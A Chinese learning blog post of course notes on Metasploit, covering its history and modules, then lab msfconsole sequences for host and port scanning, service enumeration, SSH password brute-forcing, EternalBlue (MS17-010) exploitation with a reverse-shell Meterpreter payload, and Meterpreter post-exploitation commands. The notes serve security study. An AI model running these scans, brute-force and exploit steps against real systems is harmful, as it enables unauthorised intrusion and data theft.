[网络安全学习篇66]:Metasploit(MSF)

引言:我的系列博客[网络安全学习篇]上线了,小编也是初次创作博客,经验不足;对千峰网络信息安全开源的视频公开课程的学习整理的笔记整理的也比较粗糙,其实看到目录有300多集的时候,讲道理,有点怂了,所以我就想到了通过写博客(课程笔记)的形式去学习它,虽然写博客会让我多花几倍的时间去学习它,但是当我完成一篇博客所获得的成就感和你们对于我的认同感,让我很满足,能够鼓励我一天天的坚持下去,也希望和我一起学习本期视频的"同道"们也能给一直坚持下去。我们大家一起加油。由于作者本身也是网络信息安全小白,大部分知识点都是初次接触,出现对其理解不深入,不完整,甚至也会出现错误有问题的地方,希望大家谅解、留言提出指正,同时也欢迎大家来找我一起交流学习!!!

 

往期博客:

第一阶段:

[网络安全学习篇1]:windowsxp、windows2003、windows7、windows2008系统部署(千峰网络安全视频笔记)

[网络安全学习篇24]:漏洞与木马(千峰网络安全视频笔记 p117-p118)

第二阶段:

[网络安全学习篇25]:初识Linux及简单命令

[网络安全学习篇32]:Linux脚本编写汇总及应用

第三阶段:

[网络安全学习篇33]:0基础带你入门python

[网络安全学习篇38]:基础环境搭建

[网络安全学习篇39]:HTML标签基础 常用的标签 表格

[网络安全学习篇42]:靶场环境搭建(ubuntu系统安装优化及vulhub安装)

[网络安全学习篇43]:PHP基础+变量 运算符 流程控制语句

[网络安全学习篇48]:JS 基础 函数 事件

第四阶段:

[网络安全学习篇49]:渗透测试方法论

[网络安全学习篇50]:Web架构安全分析

[网络安全学习篇51]:信息收集

[网络安全学习篇52]:扫描技术

[网络安全学习篇53]:口令破解

[网络安全学习篇54]:SQL注入

[网络安全学习篇55]:SQL自动化注入

[网络安全学习篇56]:XSS

[网络安全学习篇57]:XSS(二)

[网络安全学习篇58]:PHP代码注入

[网络安全学习篇59]:OS命令注入

[网络安全学习篇60]:文件上传

[网络安全学习篇61]:文件包含

[网络安全学习篇62]:CSRF 攻击

[网络安全学习篇63]:SSRF

[网络安全学习篇64]:业务安全

[网络安全学习篇65]:提权

[网络安全学习篇66]:Metasploit(MSF)(本篇)

下期博文:

[网络安全学习篇67]:python poc-exp

 

目录

 

Metasploit 简介

*诞生与发展

*技术架构

@ 辅助模块

@ 渗透攻击模块

@ 攻击载荷

 

@ 空指令模块

@ 编译器模块

@ 后渗透攻击模块

@ 免杀模块

*为什么使用Metasploit ?

@ 情报搜集阶段

@威胁建模阶段

@ 漏洞分析阶段

@后渗透攻击阶段

@ 报告生成阶段

MSF

启动MSF

MSF 的更新

基本命令

情报搜集

*网站敏感目录扫描

*主机发现

*端口扫描

*探测服务详细信息

*服务查点

@ telnet 服务查点

@ ssh服务查点

@ MSSL 服务查点

*口令猜测

@ ssh 服务口令猜解

@ MSSQL 服务口令猜解

网络服务渗透攻击

*MS17-010 “永恒之蓝”

漏洞扫描

攻击

*参数说明

Meterpreter

*常用基本命令


Metasploit 简介

Metasploit 是一个开源的渗透测试软件,也是一个逐步发展成熟的漏洞研究与渗透测试代码开发平台(可扩展),此外也将成为支持整个渗透测试的安全技术集成开发与应用环境。

 

*诞生与发展

Metasploit 项目最初是由HD Moore 在2003年夏季创立的,目标是成为渗透测试攻击研究与代码开发的一个开发环境

HD Moore 在2003年 发布了他的第一个基于Perl 语言(pl)的Metasploit 版本,当时一共集成了11个渗透攻击模块

在Spoonm 的帮助下,完全重写了Metasploit 的代码,并在2004年发布了Metasploit v2.0, 版本中包含了18个渗透攻击模块和27个攻击载荷(payload),并提供了控制台终端,命令行和Web 三个使用接口

2004年 8月,HD 和Spoonm 带着最新发布的Metasploit v2.2 并在拉斯维加斯举办的BlackHat 全球黑客大会上进行了演讲。听众被Metasploit 的强大之处所折服,并一致认为:Metasploit 时代已经到来。更多的黑客加入Matesploit 核心开发团队与贡献渗透攻击、载荷与辅助模块代码。

2005 年的CanSecWest 黑客会议上,HD与Spoonm 指出Metasploit v2 体系框架中的一些难以解决的问题,包括:

@ 缺乏跨平台支持,特别是不能很好的运行在Windows 系统上。

@ 很难支持自动化渗透攻击过程

@ Perl 语言的复杂性和缺点使得外部贡献者与用户规模增长不相适应

@ Perl 语言对一些复杂特性的支持能力较弱等

而且V2 版本是完全围绕着渗透攻击而设计的,对信息搜集与后渗透攻击阶段无法提供有效的支持。经过18 个月的时间,Metasploit 团队使用Ruby 语言完全重写了Metasploit ,并在2007年发布v3.0 版本,其中包含177 个渗透攻击模块、104 个攻击载荷以及30 个新引入的辅助模块。

2009年 Metasploit 项目被一家渗透测试技术领域知名安全公司Rapid7 收购,随后退出Metasploit Express 和Pro 商业版本。

2011年 Metasploit v4.0 发布,v4.0 版本在渗透攻击、攻击载荷与辅助模块的数量上都有显著的扩展,此外还引入了一种新的模块类型--后渗透攻击模块,以支持渗透攻击环节中进行敏感信息搜集、内网拓展等一系列的攻击测试。

2019年 Metasploit v5.0 发布,其使用了新的数据库,并提供了一种新的数据服务。新版本引入了新的规避机制(evasion capabilities),支持多种语言,框架建立在不断增加的世界级攻击性内容库的框架基础上。另外,此次更新还包括可用性改进和大规模开发的支持、数据库和自动化API 的改进等

*技术架构

@ 辅助模块

Metasploit 为渗透测试的信息搜集环节提供了大量的辅助模块支持,包括针对各种网络服务的扫描与查点、构建虚假服务收集登录密码、口令猜测破解、敏感信息泄露、Fuzz 测试发掘漏洞、实施网络协议欺骗等模块。

辅助模块能够帮助渗透测试攻击者在渗透攻击之前取得目标系统丰富的情报信息

 

@ 渗透攻击模块

渗透攻击模块是利用发现的安全漏洞或配置弱点对目标系统进行攻击,以植入和运行攻击载荷,从而获取对远程目标系统访问权的代码组件。

主动渗透攻击所利用的安全漏洞位于网络服务端与服务承载的上传应用程序中,由于这些服务通过是在主机上开启一些监听端口等待客户端连接,因此针对它们的渗透测试攻击可以主动发起,通过连接目标系通网络服务,注入一些特殊构造的包含“邪恶”的攻击数据的网路请求内容,触发俺去那漏洞,并设定远程服务进程执行在“邪恶”数据中包含的攻击载荷,从而获取目标系统的控制会话。

被动渗透攻击利用的漏洞为于客户端软件中,如浏览器、浏览器插件、点击邮件客户端、Office与Adobe 等各种文档阅读与编辑软件。对于这类存在于客户端软件的安全漏洞,我们无法主动的将数据从远程输入到客户端软件中,因此只能采用被动渗透攻击的方式,即构造出“邪恶”的网页、电子邮件或文档文件,并通过架设包含此类恶意内容的服务、发送邮件附件、结合社会工程学分发并诱骗目标用户打开、结合网路欺骗和劫持技术等发式,等目标系统上的用户访问到这些“邪恶”的内容,从而触发客户端软件中的安全漏洞,给出控制目标系统的Shell 会话。

 

@ 攻击载荷

攻击载荷是在渗透测试攻击成功后使目标系统运行的一段植入代码,通常作用是为渗透攻击者打开在目标系统上的控制会话连接

 

@ 空指令模块

空指令(NOP)是对一些程序运行状态不会造成任何实质影响的空操作或者无关操作指令,最典型的空指令就是空操作,在x86 CPU 体系架构平台上的操作码是0x90

 

@ 编译器模块

攻击载荷模块于空指令模块组装完成一个指令序列后,在这段指令被渗透攻击模块加入“邪恶”数据缓冲区交由目标系统运行之前,Metasploit 框架还需要完成一道非常重要的工序--编码

编译器模块的第一个使命就是确保攻击载荷中不会出现渗透攻击过程中应加以避免的“坏字符”。

第二个使命就是对攻击载荷进行”免杀“处理。

 

@ 后渗透攻击模块

后渗透攻击模块主要支持在渗透攻击取得目标系统控制权之后,在受控系统中进行各式各样的后渗透攻击动作,比如获取敏感信息、进一步拓展、实施跳板攻击等

 

@ 免杀模块

对攻击载荷进行“免杀”处理。

 

*为什么使用Metasploit ?

渗透攻击是目前Metasploit 最强大和最具吸引力的核心功能,Metasploit 框架中集成了数百个针对主流操作系统平台上 不同网路服务于应用软件安全漏洞的渗透攻击模块,可以由用户在渗透攻击场景中根据漏洞扫描结果进行选择,并能够自由装配该平台上适用的具有指定功能的攻击载荷,然后通过自动化编码机制绕过攻击限制与检测,对目标系统实施远程攻击。获取系统的访问控制权。

除了渗透攻击之外,Metasploit 在发展过程中逐渐增加了对渗透测试全过程的支持,包括情报搜集、威胁建模、漏洞分析、后渗透攻击与报告生成。

 

@ 情报搜集阶段

Metasploit 一方面通过内建的一系列扫描器与查点辅助模块来获取远程服务器信息,另一方面通过插件机制集成调用Nmap、Nessus、OpenVAS 等著名业界的开源网路扫描工具,从而具备全面的信息搜集能力,为渗透攻击实施提供必不可缺德精确情报。

 

@威胁建模阶段

在搜集信息之后,Metasploit 支持一系列数据库命令操作直接将这些信息汇总至PostgreSQL、MYSQL、SQLite数据库中,并为用户提供易用的数据库查询命令,可以帮助渗透测试者对目标系统搜到的情报进行威胁建模,从中找出可行的攻击路径

 

@ 漏洞分析阶段

除了信息搜集环节能够直接扫描出一些已公布德安全漏洞之外,Metassploit 中还提供了大量德协议Fuzz 测试器与Web 应用漏洞探测分析模块,支持具有一定水平能力德渗透测试者在实际过程中尝试挖掘出0day 漏洞,并对漏洞机理与利用方法进行深入分析,而这将为渗透攻击目标带来更大的杀伤力,并提升渗透测试流程的技术含金量。

 

@后渗透攻击阶段

在成功实施渗透攻击并获取目标系统的远程控制权之后,Metasploit 框架中另一个极具威名的工具Meterpreter 在后渗透攻击阶段提供了强大的功能。

Meterpreter 可以看作一个支持多操作系统平台,可以 仅仅驻留于内存中并具备免杀能力的高级后门工具,Meterpreter 中实现了特权提升、信息抓取、系统监控、跳板攻击与内网拓展等多样化的功能特性,此外还支持一种灵活可扩展的方式来加载额外的功能的后渗透攻击模块

 

@ 报告生成阶段

Metssploit 框架获得的渗透测试结果可以输入至内置数据库中,因此这些结果可以通过数据库查询来获取,并辅助渗透测试报告的写作。

商业版(pro)具备了更强大的报告生成功能,可以输出HTML、XML、Word 和PDF格式的报告。

 

MSF

启动MSF

[msfconsole]

MSF 的安装目录:

[/usr/share/metasploit-framework/]

MSF 的更新

[apt-get update]    #更新索引

[apt-get install metasploit-framework]

一个模块就是一个rb 脚本

 

基本命令

--------------

info 查看模块的详细信息

set

show options

exploit

back   返回主目录

exit   退出

-------------

 

情报搜集

*网站敏感目录扫描

可以借助Metasploit 中的brute_dirs、dir_listing、dir_scanner 等辅助模块来进行敏感目录扫描。

他们主要使用暴力猜解的方式工作,主要此处需要提供一个目录字典。

---------------

msf5 > use auxiliary/scanner/http/dir_scanner

msf5 auxiliary(scanner/http/dir_scanner) > set RHOSTS 192.168.1.200

RHOSTS => 192.168.1.200

msf5 auxiliary(scanner/http/dir_scanner) > set PATH /cms/

PATH => /cms/

msf5 auxiliary(scanner/http/dir_scanner) > set THREADS 50

THREADS => 50

msf5 auxiliary(scanner/http/dir_scanner) > exploit

--------------

dir_scanner 模块可以发现网站上的一些目录,Admin、admin、images。只要字典足够强大,可以找到更多的敏感目录。

 

*主机发现

Metasploit 中提供了一些辅助模块可用于主机的发现,这些模块位于

modules/auxiliary/scanner/discovery/目录下

auxiliary/scanner/discovery/arp_sweep

auxiliary/scanner/discovery/empty_udp

auxiliary/scanner/discovery/ipv6_multicast_ping

auxiliary/scanner/discovery/ipv6_neighbor

auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement

auxiliary/scanner/discovery/udp_probe

auxiliary/scanner/discovery/udp_sweep

可以使用arp_sweep 来枚举本地局域网中的所有活跃主机

-------------------------

msf5 > use auxiliary/scanner/discovery/arp_sweep

msf5 auxiliary(scanner/discovery/arp_sweep) > set RHOSTS 192.168.1.2/24

RHOSTS => 192.168.1.2/24

msf5 auxiliary(scanner/discovery/arp_sweep) > set ThREADS 50

ThREADS => 50

msf5 auxiliary(scanner/discovery/arp_sweep) > exploit

------------------------

 

*端口扫描

Metasploit 的辅助模块中提供了几款实用的端口扫描器

auxiliary/scanner/portscan/ack

auxiliary/scanner/portscan/syn

auxiliary/scanner/portscan/xmas

auxiliary/scanner/portscan/ftpbounce

auxiliary/scanner/portscan/tc

一般情况下推荐使用syn 端口扫描器,因为他速度快,结果比较准确不易被对方察觉

-------------

msf5 > use auxiliary/scanner/portscan/syn

msf5 auxiliary(scanner/portscan/syn) > set RHOSTS 192.168.1.200

RHOSTS => 192.168.1.200

msf5 auxiliary(scanner/portscan/syn) > set THREADS 50

THREADS => 50

msf5 auxiliary(scanner/portscan/syn) > exploit

---------------

 

*探测服务详细信息

在Metasploit 中使用一些插件可以调用系统中的命令,比如可以使用Nmap 探测目标的详细服务信息,命令

[nmap -sS -Pn 192.168.1.200 -sV],参数说明:

-sS 使用SYN 半连接扫描

-Pn 早扫描之前,不发生ICME echo 请求测试目标是否活跃

-sV 探测服务详细版本

 

*服务查点

在Metassploit 的辅助模块中,有很多用于服务扫描和查点的工具,这些工具通常以[service_name]_version 命名。该模块可用于遍历网络中包含的某种服务的主机,并进一步确定服务版本。

@ telnet 服务查点

telnet 是一个先天缺乏安全性的网络服务。由于Telnet 没有对传输的数据进行加密,越来越多的管理员渐渐使用更为安全的SSH 协议代替它 。尽管如此,很多价格昂贵、使用寿命长的大型交换机使用Telnet 协议的可能性更大,而此类交换机在网络中的位置一般来说非常重要。可以使用telnet_version 模块扫描一下是否有主机或设备开启了Telnet 服务

---------------

msf5 > use auxiliary/scanner/telnet/telnet_version

msf5 auxiliary(scanner/telnet/telnet_version) > set RHOSTS 192.168.1.200/24

RHOSTS => 192.168.1.200/24

msf5 auxiliary(scanner/telnet/telnet_version) > set THREADS 50

THREADS => 50

msf5 auxiliary(scanner/telnet/telnet_version) > exploit

----------------

 

@ ssh服务查点

通常管理员会使用SSH 对服务器进行远程管理,服务器会向SSH 客户端返回一个远程Shell 连接。如果没有做其他的安全增强配置,只要获取服务的登录口令,就可以使用SSH 客户端登录服务器,那就相当于获取了登录用的所有权限。

可以使用ssh_version 模块遍历网络中开启的SSH 服务的主机

-------------

msf5 > use auxiliary/scanner/ssh/ssh_version

msf5 auxiliary(scanner/ssh/ssh_version) > set RHOSTS 192.168.1.200/24

RHOSTS => 192.168.1.200/24

msf5 auxiliary(scanner/ssh/ssh_version) > set THREADS 50

THREADS => 50

msf5 auxiliary(scanner/ssh/ssh_version) > exploit

---------------

 

@ MSSL 服务查点

可以使用mysql_ping 查找网络模块中的Microsoft SQL Server

---------------

msf5 > use auxiliary/scanner/mssql/mssql_ping

msf5 auxiliary(scanner/mssql/mssql_ping) > set RHOSTS 192.168.1.200/24

RHOSTS => 192.168.1.200/24

msf5 auxiliary(scanner/mssql/mssql_ping) > set THREADS 50

THREADS => 50

msf5 auxiliary(scanner/mssql/mssql_ping) > exploit

---------------

 

*口令猜测

@ ssh 服务口令猜解

----------------

msf5 > use auxiliary/scanner/ssh/ssh_login

msf5 auxiliary(scanner/ssh/ssh_login) > set USER_FILE /root/msf/user.dic

USER_FILE => /root/msf/user.dic               

msf5 auxiliary(scanner/ssh/ssh_login) > set PASS_FILE /root/msf/pass.dic

PASS_FILE => /root/msf/pass.dic

msf5 auxiliary(scanner/ssh/ssh_login) > set THREADS 50

THREADS => 50

msf5 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 192.168.1.150

RHOSTS => 192.168.1.150

msf5 auxiliary(scanner/ssh/ssh_login) > exploit

-----------------

 

@ MSSQL 服务口令猜解

scanner/mssql/mssql_login

 

网络服务渗透攻击

*MS17-010 “永恒之蓝”

漏洞扫描

---------------

msf5 > use auxiliary/scanner/smb/smb_ms17_010

msf5 auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 192.168.1.200/24

RHOSTS => 192.168.1.200/24

msf5 auxiliary(scanner/smb/smb_ms17_010) > set THREADS 50

THREADS => 50

msf5 auxiliary(scanner/smb/smb_ms17_010) > exploit

-----------------

攻击

------------------

msf5 > use exploit/windows/smb/ms17_010_eternalblue

msf5 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp

payload => windows/x64/meterpreter/reverse_tcp

msf5 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.200

RHOSTS => 192.168.1.200

msf5 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.150

LHOST => 192.168.1.150

msf5 exploit(windows/smb/ms17_010_eternalblue) > exploit

----------------

 

*参数说明

-p

--payload

<payload>

指定需要使用的payload (攻击载荷)

-f

--format

<format>

指定输出格式

-l

--list

<module_type>

列出指定模块的所有资源

-n

--nopsled

<length>

为payload 预先指定一个NOP 滑动长度

-e

--encoder

[encoder]

指定需要使用的encoder(编码器)

 

-a

--arch

<architecture>

指定payload 的目标架构

Meterpreter

*常用基本命令

命令

解释

background

将Meterpreter 终端隐藏在后台

sessions

查看已经成功获取的会话。-i 选项,切入后台会话

shell

获取系统的控制台shell

quit

关闭当前的额Meterpreter 会话,返回MSF 终端

pwd

获取目标主机当前的工作目录

cd

切换目录

ls

查看当前目录下的内容

cat

查看文件内容

edit

编辑文件

download

下载文件

search

搜索文件

ifconfig/ipconfig

查看网卡信息

route

查看路由信息,设置路由

sysinfo

查看系统信息

getuid

获取当前用户id

ps

查看进程

getpid

查看当前进程

migrate

切换进程

execute

执行文件

kill

终极指定PID 的进程

shutdown

关机

screenshot

屏幕快照


参考文献:

千峰网络信息安全开源课程

 

 

 

  • 4
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

beglage

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值